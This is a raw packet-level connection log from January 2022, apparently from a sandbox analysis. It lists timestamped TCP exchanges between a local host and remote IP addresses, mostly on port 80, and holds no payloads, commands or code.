Jan 14, 2022 01:51:45.419943094 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.419955015 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419966936 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.419985056 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420022964 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420063019 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420078039 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420099974 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420114040 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420139074 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420177937 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420213938 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420229912 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420252085 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420264959 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420290947 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420330048 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420371056 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420386076 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420407057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420428038 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420444965 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420484066 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420520067 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420540094 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420557976 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420578003 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420595884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420634985 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420674086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420690060 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420710087 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420727968 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420748949 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420787096 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420823097 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420840025 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420860052 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420874119 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.420897961 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420937061 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420977116 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.420991898 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.421013117 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421025991 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.421051979 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421089888 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421127081 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421143055 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.421164989 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421176910 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.421201944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421241045 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421281099 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421298981 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.421318054 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421341896 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.421356916 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421396017 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421432018 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.421452999 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.421489000 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.495182037 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495249033 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495289087 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495327950 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495361090 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.495381117 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495419979 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495460033 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495497942 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495537996 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495577097 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495616913 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495657921 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495696068 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495712042 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.495735884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495755911 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.495778084 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495790958 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.495817900 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495858908 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495898008 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495915890 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.495935917 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.495970011 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.495975971 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496015072 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496052980 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496090889 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496129036 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496167898 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496206999 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496244907 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496284962 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496324062 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496360064 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496400118 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496437073 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496476889 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496506929 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496543884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496582985 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496622086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496659040 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496697903 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496735096 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496773005 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496812105 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496846914 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496885061 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496923923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.496962070 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497000933 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497036934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497073889 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497113943 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497149944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497186899 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497224092 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497262955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497302055 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497338057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497394085 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497440100 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497476101 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497513056 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497550964 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497589111 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497627974 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497664928 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497703075 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497740030 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497776031 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497812986 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497876883 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497920036 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497956991 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.497994900 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.498032093 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.498069048 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.498106003 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.498141050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.498178959 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.498217106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.498425007 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.517314911 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:51:45.544810057 CET	38133	49860	86.107.197.138	192.168.2.3
Jan 14, 2022 01:51:45.545614004 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:51:45.571799994 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.571867943 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.571904898 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.571943998 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.571962118 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.571985960 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572005033 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572024107 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572062969 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572101116 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572137117 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572149992 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572176933 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572182894 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572216988 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572237968 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572257996 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572298050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572334051 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572369099 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572374105 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572390079 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572416067 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572452068 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572499037 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572500944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572540998 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572581053 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572619915 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572628021 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572662115 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572665930 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572705984 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572745085 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572782040 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572788954 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572802067 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572828054 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572873116 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572916985 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572937965 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572954893 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.572982073 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.572994947 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573034048 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573071957 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573090076 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573111057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573117971 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573148966 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573187113 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573227882 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573252916 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573263884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573290110 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573302984 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573343039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573383093 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573406935 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573421955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573434114 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573460102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573502064 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573542118 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573561907 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573577881 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573589087 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573616982 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573656082 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573692083 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573730946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573755980 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573767900 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573769093 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573807955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573874950 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573880911 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573924065 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573930979 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.573961973 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.573999882 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574037075 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574062109 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574073076 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574084044 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574111938 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574150085 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574187994 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574220896 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574227095 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574240923 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574264050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574301958 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574338913 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574376106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574383020 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574403048 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574414968 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574451923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574472904 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574492931 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574532032 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574568033 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574594975 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574608088 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574620008 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574647903 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574686050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574723959 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574749947 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574762106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574775934 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574801922 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574841022 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574877024 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.574898958 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.574928999 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.648511887 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.648566008 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.648606062 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.648669958 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.648720980 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.648762941 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.648993969 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.649025917 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649132013 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649164915 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.649203062 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649245024 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649282932 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.649312019 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649403095 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.649424076 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649492979 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649533987 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649574995 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.649602890 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649643898 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649673939 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.649739981 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649799109 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.649802923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649844885 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649915934 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.649979115 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.650005102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650043011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650083065 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650124073 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.650139093 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.650186062 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650227070 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650265932 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650324106 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.650367975 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650439024 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.650506020 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650574923 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650635004 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650691986 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.650693893 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650752068 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.650810003 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650861979 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650901079 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.650935888 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.650971889 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651009083 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651072979 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651103020 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651154041 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651165009 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651180029 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651201963 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651222944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651243925 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651258945 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651264906 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651279926 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651285887 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651307106 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651319981 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651324034 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651345015 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651360989 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651365995 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651416063 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.651422977 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651444912 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.651468039 CET	80	49856	141.8.194.74	192.168.2.3
